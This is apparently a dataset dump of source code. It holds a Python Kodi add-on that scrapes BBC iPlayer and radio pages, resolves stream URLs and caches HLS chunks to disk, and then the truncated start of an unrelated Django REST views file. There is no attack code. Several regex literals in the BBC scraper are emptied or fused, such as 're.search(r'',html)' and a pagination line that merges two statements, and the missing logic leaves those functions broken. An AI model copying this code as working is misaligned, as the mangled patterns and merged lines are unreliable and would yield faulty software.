\"http://open.live.bbc.co.uk/mediaselector/5/select/version/2.0/mediaset/apple-ipad-hls/vpid/%s\" % vpid\n html = get(NEW_URL,True)\n urls = []\n match=re.compile('application=\"(.+?)\".+?String=\"(.+?)\".+?identifier=\"(.+?)\".+?protocol=\"(.+?)\".+?server=\"(.+?)\".+?supplier=\"(.+?)\"').findall(html.replace('amp;',''))\n for app,auth , playpath ,protocol ,server,supplier in match:\n\n port = '1935'\n if protocol == 'rtmpt': port = 80\n if supplier == 'limelight':\n url=\"%s://%s:%s/ app=%s?%s tcurl=%s://%s:%s/%s?%s playpath=%s\" % (protocol,server,port,app,auth,protocol,server,port,app,auth,playpath)\n res = playpath.split('secure_auth/')[1]\n res = res.split('kbps')[0]\n urls.append([url,res])\n\n items = []\n for url,res in sorted(urls,key = lambda x: int(x[1]), reverse=True):\n\n items.append({\n 'label': \"%s [%s kbps]\" % (name, res),\n 'path': url,\n 'thumbnail': thumbnail,\n 'is_playable': True\n })\n\n return items\n\n@plugin.route('/start_pvr_service')\ndef start_pvr_service():\n xbmc.executebuiltin('XBMC.RunPlugin(plugin://plugin.audio.bbc/pvr_service)')\n\n@plugin.route('/pvr_service')\ndef pvr_service():\n pvrs = plugin.get_storage('pvrs')\n for name in pvrs:\n #log(name)\n split = pvrs[name].split('|')\n url = split[0]\n if len(split) > 0:\n iconimage = split[1]\n else:\n iconimage = \"\"\n if '/episodes/' in url:\n #log(url)\n cache_all(url)\n else:\n #log((url,name))\n play_episode(url,name,iconimage,\"cache\")\n\n\n@plugin.route('/cache_all/')\ndef cache_all(url):\n #log((\"CCC\",url))\n headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101 Firefox/50.0'}\n html = get(url)\n if not html:\n return\n\n items = []\n html_items=html.split('data-ip-id=\"')\n for p in html_items:\n IPID=p.split('\"')[0]\n urls=re.compile('href=\"(.+?)\"').findall (p)\n\n episode_url = ''\n episodes_url = ''\n for u in urls:\n if u.startswith('/iplayer/episode/'):\n episode_url = 'http://www.bbc.co.uk%s' % u\n elif u.startswith('/iplayer/episodes/'):\n episodes_url = 'http://www.bbc.co.uk%s' % u\n\n name = re.compile('title=\"(.+?)\"').findall (p)[0]\n\n series = 0\n episode = None\n match = re.compile('Episode ([0-9]*)$').search (name)\n if match:\n episode = int(match.group(1))\n else:\n match = re.compile('Series ([0-9]*): ([0-9]*)\\.').search (name)\n if match:\n series = int(match.group(1))\n episode = int(match.group(2))\n else:\n match = re.compile(', ([0-9]*)\\.').search (name)\n if match:\n episode = int(match.group(1))\n group = ''\n match=re.compile('top-title\">(.+?)<').findall (p)\n if match:\n group = match[0]\n\n iconimage = get_icon_path('tv')\n match=re.compile('img src=\"(.+?)\"').findall (p)\n if match:\n iconimage = match[0]\n else:\n match=re.compile('srcset=\"(.+?)\"').findall (p)\n if match:\n iconimage = match[0]\n\n if episode:\n label = \"%s S%03dE%03d\" % (name,series,episode)\n label = re.sub('[%s]' % re.escape(':\\/?*><|'),'',label)\n #log((episode_url,label,iconimage))\n play_episode(episode_url,label,iconimage,\"cache\")\n\n\n next_page = re.compile('///')\ndef play_episode(url,name,thumbnail,action):\n if action == \"cache\":\n cached = plugin.get_storage('cached')\n if name in cached:\n return\n html = get(url)\n #log(url)\n #log(html)\n if not html:\n return\n vpid = ''\n match = re.search(r'\"vpid\":\"(.+?)\"', html, re.DOTALL)\n if match:\n vpid = match.group(1)\n '''\n match = re.search(r'mediator.bind\\((.*?), document\\.getElementById\\(\\'tviplayer\\'\\)\\);', html, re.DOTALL)\n if match:\n data = match.group(1)\n import json\n json_data = json.loads(data)\n #print json.dumps(json_data, indent=2, sort_keys=True)\n json_name = json_data['episode']['title']\n try:\n synopses = json_data['episode']['synopses']\n if 'large' in synopses:\n description = synopses['large']\n elif 'medium' in synopses:\n description = synopses['medium']\n else:\n description = synopses['small']\n except:\n description = ''\n image = json_data['episode']['images']['standard'].replace('{recipe}','832x468')\n for stream in json_data['episode']['versions']:\n if ((stream['kind'] == 'original') or\n (stream['kind'] == 'iplayer-version')):\n vpid = stream_id_st = stream['id']\n '''\n if not vpid:\n return\n\n NEW_URL = \"http://open.live.bbc.co.uk/mediaselector/5/select/version/2.0/mediaset/apple-ipad-hls/vpid/%s/proto/http?cb=%d\" % (vpid, random.randrange(10000,99999)) #NOTE magic from get_iplayer\n\n html = get(NEW_URL)\n\n # Parse the different streams and add them as new directory entries.\n match = re.compile(\n 'media.+?bitrate=\"(.+?)\".+?encoding=\"(.+?)\".+?connection.+?href=\"(.+?)\".+?supplier=\"(.+?)\".+?transferFormat=\"(.+?)\"'\n ).findall(html)\n\n URL = []\n for bitrate, encoding, url, supplier, transfer_format in match:\n URL.append((int(bitrate),url))\n\n if action == \"autoplay\":\n URL=max(URL)[1]\n item = {\n 'label': name,\n 'path': URL,\n 'thumbnail': thumbnail\n }\n #if subtitles and plugin.get_setting('subtitles') == 'true':\n # plugin.set_resolved_url(item,'special://profile/addon_data/plugin.audio.bbc/subtitles.srt')\n #else:\n plugin.set_resolved_url(item)\n\n elif action == \"list\":\n items = []\n for u in sorted(URL, reverse=True):\n items.append({\n 'label': \"%s [%d kbps]\" % (name, u[0]),\n 'path': u[1],\n 'thumbnail': thumbnail,\n 'is_playable': True\n })\n return items\n elif action == \"cache\":\n cached = plugin.get_storage('cached')\n if name in cached:\n return\n URL=max(URL)[1]\n BASE = re.compile('/[^/]*?$').sub('/',URL)\n #log(URL)\n html = get(URL)\n #log(html)\n if not html:\n return\n\n if \"variants\" in html:\n lines = html.splitlines()\n last = lines[-1]\n URL = BASE + last\n html = get(URL)\n #log(html)\n lines = html.splitlines()\n if not URL.startswith('http'):\n return\n html = get(URL)\n lines = html.splitlines()\n basename = '%s%s' % (plugin.get_setting('cache'), re.sub('[\\\\/:]','',name))\n #xbmcvfs.copy('special://profile/addon_data/plugin.audio.bbc/subtitles.srt',\"%s.srt\" % basename)\n f = xbmcvfs.File(\"%s.ts\" % basename,'wb')\n chunks = [x for x in lines if not x.startswith('#')]\n if plugin.get_setting('cache.progress') == 'true':\n progress = True\n else:\n progress = False\n if progress:\n d = xbmcgui.DialogProgressBG()\n d.create('BBC','%s' % name)\n total = len(chunks)\n count = 0\n else:\n xbmcgui.Dialog().notification(\"BBC Cache Started\",name)\n for chunk in chunks:\n if not chunk.startswith('http'):\n chunk = BASE+chunk\n #log(chunk)\n data = get(chunk)\n f.write(data)\n if progress:\n percent = int(100.0 * count / total)\n d.update(percent, \"BBC\", \"%s\" % name)\n count = count + 1\n f.close()\n cached[name] = datetime.datetime.now()\n if progress:\n d.close()\n else:\n xbmcgui.Dialog().notification(\"BBC Cache Finished\",name)\n\n\n\n@plugin.route('/alphabet')\ndef alphabet():\n items = []\n for letter in char_range('A', 'Z'):\n url = 'http://www.bbc.co.uk/programmes/a-z/by/%s/player' % letter\n items.append({\n 'label': letter,\n 'path': plugin.url_for('page',url=url),\n 'thumbnail':get_icon_path('lists'),\n })\n letter = \" \"\n url = 'http://www.bbc.co.uk/programmes/a-z/by/%40/player'\n items.append({\n 'label': \"0-9\",\n 'path': plugin.url_for('page',url=url),\n 'thumbnail':get_icon_path('lists'),\n })\n\n return items\n\ndef char_range(c1, c2):\n for c in xrange(ord(c1), ord(c2)+1):\n yield chr(c)\n\n@plugin.route('/letter/')\ndef letter(letter):\n url = 'http://www.bbc.co.uk/programmes/a-z/by/%s/player' % letter\n #url = 'http://www.bbc.co.uk/iplayer/a-z/%s' % letter\n html = get(url)\n\n items = []\n match=re.compile('(.+?)',re.DOTALL).findall (html)\n for url , name in match:\n url = \"http://www.bbc.co.uk/iplayer/episodes/%s\" % url\n thumbnail = get_icon_path('lists')\n context_items = []\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Add Favourite', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for(add_favourite, name=name, url=url, thumbnail=thumbnail, is_episode=False))))\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Add to PVR', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for(add_pvr, name=name, url=url, thumbnail=thumbnail, is_episode=False))))\n items.append({\n 'label': unescape(name),\n 'path': plugin.url_for('page',url=url),\n 'thumbnail':thumbnail,\n 'context_menu': context_items,\n })\n return items\n\n\n@plugin.route('/channel_a_z')\ndef channel_a_z():\n channel_list = [\n ('bbcone', 'bbc_one_hd', 'BBC One'),\n ('bbctwo', 'bbc_two_hd', 'BBC Two'),\n ('tv/bbcthree', 'bbc_three_hd', 'BBC Three'),\n ('bbcfour', 'bbc_four_hd', 'BBC Four'),\n ('tv/cbbc', 'cbbc_hd', 'CBBC'),\n ('tv/cbeebies', 'cbeebies_hd', 'CBeebies'),\n ('tv/bbcnews', 'bbc_news24', 'BBC News Channel'),\n ('tv/bbcparliament', 'bbc_parliament', 'BBC Parliament'),\n ('tv/bbcalba', 'bbc_alba', 'Alba'),\n ('tv/s4c', 's4cpbs', 'S4C'),\n ]\n items = []\n for id, img, name in channel_list:\n icon = 'special://home/addons/plugin.audio.bbc/resources/img/%s.png' % img\n url = \"http://www.bbc.co.uk/%s/a-z\" % id\n items.append({\n 'label' : name,\n 'thumbnail' : icon,\n 'path' : plugin.url_for('page',url=url),\n 'is_playable' : False\n })\n return items\n\n@plugin.route('/new_page/')\ndef new_page(url):\n page_url = url\n #llog((\"NNN\",url))\n just_episodes=False\n \"\"\" Generic Radio page scraper. \"\"\"\n\n if plugin.get_setting('autoplay') == 'true':\n autoplay = True\n action = \"autoplay\"\n else:\n autoplay = False\n action = \"list\"\n\n\n pDialog = xbmcgui.DialogProgressBG()\n pDialog.create(\"BBC Radio\")\n\n try:\n html = get(page_url)\n except:\n return\n #llog(\"XXX\")\n #log((\"HHH\",html))\n items = []\n total_pages = 1\n current_page = 1\n page_range = range(1)\n paginate = re.search(r'',html)\n next_page = 1\n if paginate:\n if plugin.get_setting('page') == \"true\":\n current_page_match = re.search(r'page=(\\d*)', page_url)\n if current_page_match:\n current_page = int(current_page_match.group(1))\n page_range = range(current_page, current_page+1)\n next_page_match = re.search(r'

  • ', paginate.group(0))\n if next_page_match:\n page_base_url = next_page_match.group(1)\n next_page = int(next_page_match.group(2))\n else:\n next_page = current_page\n page_range = range(current_page, current_page+1)\n else:\n pages = re.findall(r'',paginate.group(0))\n if pages:\n last = pages[-1]\n last_page = re.search(r' current_page:\n page_url = 'http://www.bbc.co.uk' + page_base_url + str(page)\n html = get(page_url)\n\n\n programme_items = html.split('class=\"programme-item ')\n for programme_item in programme_items:\n #llog(programme_item)\n\n link = re.search('href=\"(/programmes/.+?)\"',programme_item)\n if link:\n link = link.group(1)\n #llog(link)\n\n episodes = re.search('href=\"(/programmes/.+?/episodes)\"',programme_item)\n if episodes:\n episodes = episodes.group(1)\n #llog(episodes)\n\n title = re.search('class=\"programme-item-title.+?>(.+?)<',programme_item)\n if title:\n title = unescape(title.group(1))\n #llog(title)\n\n\n subtitle = re.search('class=\"programme-item-subtitle.+?>(.+?)<',programme_item)\n if subtitle:\n subtitle = unescape(subtitle.group(1))\n #llog(subtitle)\n\n image = get_icon_path('live')\n if link:\n if not link.startswith('http'):\n link = \"http://www.bbc.co.uk\"+link\n label = \"%s - %s\" % (title,subtitle)\n items.append({\n 'label': label,\n 'path': plugin.url_for('play_episode', url=link, name=label,thumbnail=image,action=action),\n 'thumbnail':image,\n 'is_playable' : autoplay,\n #'context_menu': context_items,\n })\n image = get_icon_path('folder')\n if episodes:\n if not episodes.startswith('http'):\n episodes = \"http://www.bbc.co.uk\"+episodes\n path = plugin.url_for('page', url=episodes)\n items.append({\n 'label': \"[B]%s[/B]\" % (title),\n 'path': path,\n 'thumbnail':image,\n #'is_playable' : autoplay,\n #'context_menu': context_items,\n })\n\n\n if plugin.get_setting('radio_paginate_episodes') == \"true\":\n if current_page < next_page:\n page_url = 'http://www.bbc.co.uk' + page_base_url + str(next_page)\n #AddMenuEntry(\" [COLOR ffffa500]%s >>[/COLOR]\" % translation(30320), page_url, 136, '', '', '')\n items.append({\n 'label': \">>\",\n 'path': 'http://www.bbc.co.uk' + page_base_url + str(next_page),\n 'thumbnail':\"\",\n })\n\n #BUG: this should sort by original order but it doesn't (see http://trac.kodi.tv/ticket/10252)\n #xbmcplugin.addSortMethod(int(sys.argv[1]), xbmcplugin.SORT_METHOD_UNSORTED)\n #xbmcplugin.addSortMethod(int(sys.argv[1]), xbmcplugin.SORT_METHOD_VIDEO_TITLE)\n\n pDialog.close()\n\n return items\n\n@plugin.route('/page/')\ndef page(url):\n page_url = url\n #llog(url)\n just_episodes=False\n \"\"\" Generic Radio page scraper. \"\"\"\n\n pDialog = xbmcgui.DialogProgressBG()\n pDialog.create(\"BBC Radio\")\n\n html = get(page_url)\n items = []\n total_pages = 1\n current_page = 1\n page_range = range(1)\n paginate = re.search(r'',html)\n next_page = 1\n if paginate:\n if plugin.get_setting('page') == \"true\":\n current_page_match = re.search(r'page=(\\d*)', page_url)\n if current_page_match:\n current_page = int(current_page_match.group(1))\n page_range = range(current_page, current_page+1)\n next_page_match = re.search(r'
  • ', paginate.group(0))\n if next_page_match:\n page_base_url = next_page_match.group(1)\n next_page = int(next_page_match.group(2))\n else:\n next_page = current_page\n page_range = range(current_page, current_page+1)\n else:\n pages = re.findall(r'',paginate.group(0))\n if pages:\n last = pages[-1]\n last_page = re.search(r' current_page:\n page_url = 'http://www.bbc.co.uk' + page_base_url + str(page)\n html = get(page_url)\n\n #llog(html)\n masthead_title = ''\n masthead_title_match = re.search(r'(.+?)', html)\n if masthead_title_match:\n masthead_title = masthead_title_match.group(1)\n #llog((\"MMM\",masthead_title))\n list_item_num = 1\n\n programmes = html.split('
    (.+?)', programme)\n if name_match:\n name = name_match.group(1)\n\n subtitle = ''\n subtitle_match = re.search(r'(.*?)(.*?property=\"name\">(.*?))?', programme)\n if subtitle_match:\n series = subtitle_match.group(1)\n episode = subtitle_match.group(3)\n if episode:\n subtitle = \"(%s, %s)\" % (series, episode)\n else:\n if series.strip():\n subtitle = \"(%s)\" % series\n\n image = ''\n image_match = re.search(r'', programme)\n if image_match:\n image = image_match.group(1)\n\n synopsis = ''\n synopsis_match = re.search(r'(.+?)', programme)\n if synopsis_match:\n synopsis = synopsis_match.group(1)\n\n station = ''\n station_match = re.search(r'

    (.+?).*?

    ', programme)\n if station_match:\n station = station_match.group(1).strip()\n\n series_title = \"[B]%s - %s[/B]\" % (station, name)\n if just_episodes:\n title = \"[B]%s[/B] - %s\" % (masthead_title, name)\n elif station:\n title = \"[B]%s[/B] - %s %s\" % (station, name, subtitle)\n else:\n title = \"[B]%s[/B] - %s\" % (masthead_title, name)\n if series_url:\n #AddMenuEntry(series_title, series_url, 131, image, synopsis, '')\n items.append({\n 'label': series_title,\n 'path': plugin.url_for('page', url=\"http://www.bbc.co.uk\"+series_url),\n 'thumbnail':image,\n })\n elif programme_id: #TODO maybe they are not always mutually exclusive\n\n url = \"http://www.bbc.co.uk/programmes/%s\" % programme_id\n #CheckAutoplay(title, url, image, ' ', '')\n if plugin.get_setting('autoplay') == 'true':\n autoplay = True\n action = \"autoplay\"\n else:\n autoplay = False\n action = \"list\"\n context_items = []\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Add Favourite', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for(add_favourite, name=title, url=url, thumbnail=image, is_episode=True))))\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Add to PVR', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for(add_pvr, name=title, url=url, thumbnail=image, is_episode=True))))\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Cache', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for('play_episode',url=url,name=title,thumbnail=image,action=\"cache\"))))\n items.append({\n 'label': title,\n 'path': plugin.url_for('play_episode', url=url, name=title,thumbnail=image,action=action),\n 'thumbnail':image,\n 'is_playable' : autoplay,\n 'context_menu': context_items,\n })\n\n percent = int(100*(page+list_item_num/len(programmes))/total_pages)\n pDialog.update(percent,name)\n\n list_item_num += 1\n\n percent = int(100*page/total_pages)\n pDialog.update(percent,\"BBC Radio\")\n\n\n if plugin.get_setting('radio_paginate_episodes') == \"true\":\n if current_page < next_page:\n page_url = 'http://www.bbc.co.uk' + page_base_url + str(next_page)\n #AddMenuEntry(\" [COLOR ffffa500]%s >>[/COLOR]\" % translation(30320), page_url, 136, '', '', '')\n items.append({\n 'label': \">>\",\n 'path': 'http://www.bbc.co.uk' + page_base_url + str(next_page),\n 'thumbnail':\"\",\n })\n\n #BUG: this should sort by original order but it doesn't (see http://trac.kodi.tv/ticket/10252)\n #xbmcplugin.addSortMethod(int(sys.argv[1]), xbmcplugin.SORT_METHOD_UNSORTED)\n #xbmcplugin.addSortMethod(int(sys.argv[1]), xbmcplugin.SORT_METHOD_VIDEO_TITLE)\n\n pDialog.close()\n\n return items\n\n@plugin.route('/add_pvr////')\ndef add_pvr(name,url,thumbnail,is_episode):\n pvrs = plugin.get_storage('pvrs')\n pvrs[name] = '|'.join((url,thumbnail,is_episode))\n\n@plugin.route('/remove_pvr/')\ndef remove_pvr(name):\n pvrs = plugin.get_storage('pvrs')\n del pvrs[name]\n xbmc.executebuiltin('Container.Refresh')\n\n@plugin.route('/add_favourite////')\ndef add_favourite(name,url,thumbnail,is_episode):\n favourites = plugin.get_storage('favourites')\n favourites[name] = '|'.join((url,thumbnail,is_episode))\n\n@plugin.route('/remove_favourite/')\ndef remove_favourite(name):\n favourites = plugin.get_storage('favourites')\n del favourites[name]\n xbmc.executebuiltin('Container.Refresh')\n\n@plugin.route('/remove_search/')\ndef remove_search(name):\n searches = plugin.get_storage('searches')\n del searches[name]\n xbmc.executebuiltin('Container.Refresh')\n\n@plugin.route('/new_search')\ndef new_search():\n d = xbmcgui.Dialog()\n what = d.input(\"New Search\")\n if what:\n searches = plugin.get_storage('searches')\n searches[what] = ''\n return search(what)\n\n@plugin.route('/search/')\ndef search(what):\n if not what:\n return\n #url = 'http://www.bbc.co.uk/radio/programmes/a-z/by/%s/current' % search_entered\n url= 'http://www.bbc.co.uk/search?filter=programmes&q=%s' % what.replace(' ','%20')\n return page(url)\n\n@plugin.route('/searches')\ndef searches():\n searches = plugin.get_storage('searches')\n items = []\n\n items.append({\n 'label': 'New Search',\n 'path': plugin.url_for('new_search'),\n 'thumbnail':get_icon_path('search'),\n })\n for search in sorted(searches):\n context_items = []\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Remove Search', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for(remove_search, name=search))))\n items.append({\n 'label': search,\n 'path': plugin.url_for('search',what=search),\n 'thumbnail':get_icon_path('search'),\n 'context_menu': context_items,\n })\n return items\n\n@plugin.route('/favourites')\ndef favourites():\n global big_list_view\n big_list_view = True\n favourites = plugin.get_storage('favourites')\n items = []\n if plugin.get_setting('autoplay') == 'true':\n autoplay = True\n action = \"autoplay\"\n else:\n autoplay = False\n action = \"list\"\n for name in sorted(favourites):\n fav = favourites[name]\n url,iconimage,is_episode = fav.split('|')\n context_items = []\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Remove Favourite', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for(remove_favourite, name=name))))\n if is_episode == \"True\":\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Cache', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for('play_episode',url=url,name=name,thumbnail=iconimage,action=\"cache\"))))\n items.append({\n 'label': unescape(name),\n 'path': plugin.url_for('play_episode',url=url,name=name,thumbnail=iconimage,action=action),\n 'thumbnail':iconimage,\n 'is_playable' : autoplay,\n 'context_menu': context_items,\n })\n else:\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Cache All', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for('cache_all',url=url))))\n items.append({\n 'label': \"[COLOR %s][B]%s[/B][/COLOR]\" % (remove_formatting(plugin.get_setting('group.colour')),unescape(name)),\n 'path': plugin.url_for('page',url=url),\n 'thumbnail':iconimage,\n 'is_playable' : False,\n 'context_menu': context_items,\n })\n return items\n\n@plugin.route('/pvr_list')\ndef pvr_list():\n global big_list_view\n big_list_view = True\n pvrs = plugin.get_storage('pvrs')\n items = []\n if plugin.get_setting('autoplay') == 'true':\n autoplay = True\n action = \"autoplay\"\n else:\n autoplay = False\n action = \"list\"\n for name in sorted(pvrs):\n fav = pvrs[name]\n url,iconimage,is_episode = fav.split('|')\n context_items = []\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Remove from PVR', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for(remove_pvr, name=name))))\n if is_episode == \"True\":\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Cache', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for('play_episode',url=url,name=name,thumbnail=iconimage,action=\"cache\"))))\n items.append({\n 'label': unescape(name),\n 'path': plugin.url_for('play_episode',url=url,name=name,thumbnail=iconimage,action=action),\n 'thumbnail':iconimage,\n 'is_playable' : autoplay,\n 'context_menu': context_items,\n })\n else:\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'Cache All', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for('cache_all',url=url))))\n items.append({\n 'label': \"[COLOR %s][B]%s[/B][/COLOR]\" % (remove_formatting(plugin.get_setting('group.colour')),unescape(name)),\n 'path': plugin.url_for('page',url=url),\n 'thumbnail':iconimage,\n 'is_playable' : False,\n 'context_menu': context_items,\n })\n return items\n\n@plugin.route('/categories')\ndef categories():\n url = 'https://www.bbc.co.uk/radio/categories'\n headers = {'User-Agent':'Mozilla/5.0 (Windows NT 6.1; rv:50.0) Gecko/20100101 Firefox/50.0'}\n html = get(url)\n\n if plugin.get_setting('categories') == '0':\n order = \"atoz\"\n else:\n order = \"dateavailable\"\n\n match = re.compile(\n 'href=\"(/radio/categories/.+?)\">(.+?)
    '\n ).findall(html)\n\n categories = {}\n for url, title in set(match):\n base = url.split('/')[-1]\n if '-' not in base:\n categories[base] = title\n\n items = []\n for url, title in set(match):\n base = url.split('/')[-1]\n category = ''\n if '-' in base:\n category, name = base.split('-')\n category = categories.get(category,category)\n name = title\n label = \"%s - %s\" % (category,name)\n else:\n category = title\n name = ''\n label = category\n\n url = 'https://www.bbc.co.uk%s' % (url)\n items.append({\n 'label': unescape(label),\n 'path': plugin.url_for('new_page',url=url),\n 'thumbnail':get_icon_path('lists'),\n })\n items = sorted(items, key=lambda x: x[\"label\"].lower())\n return items\n\n@plugin.route('/live_mpd')\ndef live_mpd():\n channel_list = [\n ('bbc_one_hd', 'BBC One'),\n ('bbc_two_hd', 'BBC Two'),\n ('bbc_four_hd', 'BBC Four'),\n ('cbbc_hd', 'CBBC'),\n ('cbeebies_hd', 'CBeebies'),\n ('bbc_news24', 'BBC News Channel'),\n ('bbc_parliament', 'BBC Parliament'),\n ('bbc_alba', 'Alba'),\n ('s4cpbs', 'S4C'),\n ('bbc_one_london', 'BBC One London'),\n ('bbc_one_scotland_hd', 'BBC One Scotland'),\n ('bbc_one_northern_ireland_hd', 'BBC One Northern Ireland'),\n ('bbc_one_wales_hd', 'BBC One Wales'),\n ('bbc_two_scotland', 'BBC Two Scotland'),\n ('bbc_two_northern_ireland_digital', 'BBC Two Northern Ireland'),\n ('bbc_two_wales_digital', 'BBC Two Wales'),\n ('bbc_two_england', 'BBC Two England',),\n ('bbc_one_cambridge', 'BBC One Cambridge',),\n ('bbc_one_channel_islands', 'BBC One Channel Islands',),\n ('bbc_one_east', 'BBC One East',),\n ('bbc_one_east_midlands', 'BBC One East Midlands',),\n ('bbc_one_east_yorkshire', 'BBC One East Yorkshire',),\n ('bbc_one_north_east', 'BBC One North East',),\n ('bbc_one_north_west', 'BBC One North West',),\n ('bbc_one_oxford', 'BBC One Oxford',),\n ('bbc_one_south', 'BBC One South',),\n ('bbc_one_south_east', 'BBC One South East',),\n ('bbc_one_west', 'BBC One West',),\n ('bbc_one_west_midlands', 'BBC One West Midlands',),\n ('bbc_one_yorks', 'BBC One Yorks',),\n ]\n items = []\n for id,name in channel_list:\n icon = 'special://home/addons/plugin.audio.bbc.live.mpd/resources/media/%s.png' % id\n path = 'http://a.files.bbci.co.uk/media/live/manifesto/audio_video/simulcast/dash/uk/dash_pc/ak/%s.mpd' % id\n item = ListItem(label=name,icon=icon,path=path)\n item.set_property('inputstreamaddon', 'inputstream.adaptive')\n item.set_property('inputstream.adaptive.manifest_type', 'mpd')\n item.set_is_playable(True)\n items.append(item)\n return items\n\n@plugin.route('/')\ndef index():\n context_items = []\n context_items.append((\"[COLOR yellow][B]%s[/B][/COLOR] \" % 'PVR Service', 'XBMC.RunPlugin(%s)' %\n (plugin.url_for('start_pvr_service'))))\n items = [\n {\n 'label': 'Live',\n 'path': plugin.url_for('live'),\n 'thumbnail':get_icon_path('tv'),\n },\n #{\n # 'label': 'Red Button',\n # 'path': plugin.url_for('red_button'),\n # 'thumbnail':get_icon_path('red_button'),\n #},\n #{\n # 'label': 'Schedules',\n # 'path': plugin.url_for('schedules'),\n # 'thumbnail':get_icon_path('tv'),\n #},\n #{\n # 'label': 'Most Popular',\n # 'path': plugin.url_for('page',url='http://www.bbc.co.uk/radio/popular'),\n # 'thumbnail':get_icon_path('top'),\n #},\n #{\n # 'label': 'Search',\n # 'path': plugin.url_for('searches'),\n # 'thumbnail':get_icon_path('search'),\n #},\n {\n 'label': 'A-Z',\n 'path': plugin.url_for('alphabet'),\n 'thumbnail':get_icon_path('lists'),\n },\n #{\n # 'label': 'Channel A-Z',\n # 'path': plugin.url_for('channel_a_z'),\n # 'thumbnail':get_icon_path('lists'),\n #},\n {\n 'label': 'Categories',\n 'path': plugin.url_for('categories'),\n 'thumbnail':get_icon_path('lists'),\n },\n {\n 'label': 'Favourites',\n 'path': plugin.url_for('favourites'),\n 'thumbnail':get_icon_path('favourites'),\n },\n {\n 'label': 'PVR',\n 'path': plugin.url_for('pvr_list'),\n 'thumbnail':get_icon_path('clock'),\n 'context_menu': context_items,\n },\n #{\n # 'label': 'Make Live Playlist',\n # 'path': plugin.url_for('make_playlist'),\n # 'thumbnail':get_icon_path('settings'),\n #},\n ]\n return items\n\n\nif __name__ == '__main__':\n plugin.run()\n if big_list_view == True:\n view_mode = int(plugin.get_setting('view_mode'))\n if view_mode:\n plugin.set_view_mode(view_mode)","repo_name":"primaeval/plugin.audio.bbc","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":54494,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"28667642925","text":"# coding: utf-8\nfrom rest_framework import status\nfrom rest_framework.views import APIView\nfrom rest_framework.generics import ListAPIView, CreateAPIView, RetrieveUpdateDestroyAPIView, get_object_or_404\nfrom rest_framework.permissions import IsAuthenticated\nfrom rest_framework.response import Response\nfrom knox.auth import TokenAuthentication\nfrom django.db.models import Q\nfrom apps.accounts.permissions import IsPervichkaOnly\nfrom apps.opu.circuits.serializers import CircuitTrassaList\nfrom apps.opu.circuits.service import create_circuit_transit\nfrom apps.opu.objects.serializers import PGListSerializer, TransitCreateSerializer, \\\n TransitDetailSerializer, BridgeListSerializer\nfrom apps.opu.circuits.models import Circuit, CircuitTransit\nfrom apps.opu.circuits.serializers import CircuitList\nfrom apps.opu.objects.models import Object, Point, Transit, Bridge\nfrom apps.opu.objects.serializers import PointList, ObjectListSerializer\nfrom apps.opu.objects.services import check_circuit_transit\n\nfrom apps.accounts.permissions import SuperUser, IngenerUser\n\n\nclass PointListTrassa(ListAPIView):\n \"\"\"Список ИП для создания трассы\"\"\"\n permission_classes = (IsAuthenticated,)\n authentication_classes = (TokenAuthentication,)\n queryset = Point.objects.all().order_by('point').values('id', 'point', 'name')\n serializer_class = PointList\n\n\nclass SelectPointView(APIView):\n \"\"\"Выбор ИП для фильтрацы ЛП\"\"\"\n permission_classes = (IsAuthenticated,)\n authentication_classes = (TokenAuthentication,)\n\n def get(self, request, pk):\n point = Point.objects.get(pk=pk)\n lps = Object.objects.filter(Q(point1=point) | Q(point2=point), id_parent=None)\n serializer = ObjectListSerializer(lps, many=True).data\n return Response(serializer)\n\n\nclass ObjectList(APIView):\n \"\"\"Список ПГ, ВГ итд\"\"\"\n permission_classes = (IsAuthenticated,)\n authentication_classes = (TokenAuthentication,)\n\n def get(self, request, pk):\n obj = Object.objects.get(pk=pk)\n childs = obj.parents.all()\n serializer = ObjectListSerializer(childs, many=True).data\n return Response(serializer)\n\n\n'''Создание трассы для каналов'''\nclass PGCircuitListView(APIView):\n \"\"\"Выбор PG для создания трассы circuits\"\"\"\n authentication_classes = (TokenAuthentication,)\n permission_classes = (IsAuthenticated, IsPervichkaOnly | SuperUser, IngenerUser | SuperUser)\n\n def get(self, request, pk):\n obj = Object.objects.get(pk=pk)\n childs = obj.parents.all()\n pg = []\n while childs:\n newchilds = []\n for c in childs:\n if c.type_of_trakt.name == 'ПГ':\n pg.append(c)\n newchilds += c.parents.all()\n childs = newchilds\n serializer = PGListSerializer(pg, many=True).data\n return Response(serializer)\n\n\nclass SelectCircuitView(APIView):\n \"\"\"Выбор каналы для фильтрацы каналов\"\"\"\n permission_classes = (IsAuthenticated,)\n authentication_classes = (TokenAuthentication,)\n\n def get(self, request, pk):\n obj = Object.objects.get(pk=pk)\n circuits = Circuit.objects.filter(object=obj)\n serializer = CircuitTrassaList(circuits, many=True).data\n return Response(serializer)\n\n\nclass CircuitListTrassa(ListAPIView):\n \"\"\"Список circuits для создания трассы\"\"\"\n permission_classes = 